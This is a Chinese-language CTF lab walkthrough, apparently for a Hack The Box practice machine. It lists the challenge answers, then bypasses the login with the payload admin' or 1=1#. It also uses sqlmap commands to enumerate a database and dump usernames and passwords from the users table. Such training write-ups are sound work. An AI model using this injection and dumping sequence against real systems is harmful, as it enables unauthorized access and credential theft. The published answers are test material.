文章目录⚔ 隣 YOU NEED TO WALK BEFORE YOU CAN RUN 隣⚔
- 先放答案
- 万能密码注入
- sqlmap post 注入
- 测试是否存在注入
- 查数据库
- 查表
- 查列
- 查数据
因为这期问题都比较简单,简单到我想不到讲什么把它们串到一起,索性就直接放答案了
Structured Query Language SQL Injection personally identifiable information A03:2021-Injection Apache httpd 2.4.38 ((Debian)) 443 brute-forcing directory 404 dir #
日常扫描,用一下上期学到的 -sV ,一个 web 站点
┌──(rootkali)-[~] └─# nmap -sV -v 10.129.94.47 80/tcp open http Apache httpd 2.4.38 ((Debian))万能密码注入
SQL 注入这个东西我们在 pikachu 靶场里已经接触过了 基于pikachu的漏洞学习(二)SQL 打开网站,一个登录框
尝试弱口令 admin/admin 失败,可以尝试万能密码注入
copy 一下登录的语句(之前 php 商城的登录语句,一般通用),这里并不需要有返回点,我们的目的是绕过登录判断
$query = "SELECt * FROM users WHERe `uemail`='$email' AND `upassword`='$pwd'"; $result = mysql_query($query);
构造语句
admin' or 1=1#
burp 抓包改一下
登录成功
sqlmap post 注入sqlmap 是 sql 注入自动化神器,咱们今天只学一个,就是 post 的注入
保存我们的请求包为 sql.txt
测试是否存在注入测试一下是否存在注入,-r 指定文件 -p 指定要测试的参数
┌──(rootkali)-[~/document] └─# sqlmap -r sql.txt -p username查数据库
结果显示可以使用 time-based blind 时间盲注,查询数据库,使用 --dbs 参数
┌──(rootkali)-[~/document] └─# sqlmap -r sql.txt -p username --dbs
也是非常给力的,查询到两个数据库,时间盲注手工测试比较费时,建议用工具替代
查表查询一下有什么表,information 表太多了,就看 appdb 的吧,使用 --tables参数,-D 指定数据库
┌──(rootkali)-[~/document] └─# sqlmap -r sql.txt -p username -D appdb --tables查列
查看有什么列,使用 --columns 参数,使用 -T 指定表
┌──(rootkali)-[~/document] └─# sqlmap -r sql.txt -p username -D appdb -T users --columns
这个过程它的 Type 也是通过延时注入判断的
查数据查看具体的数据使用 --dump,哦,这就是传说中的脱裤吧,-C 指定列名
┌──(rootkali)-[~/document] └─# sqlmap -r sql.txt -p username -D appdb -T users -C "password,username" --dump
查询到两个账号
我们尝试登录,成功!可以看到 flag
填入 flag ,pwn!



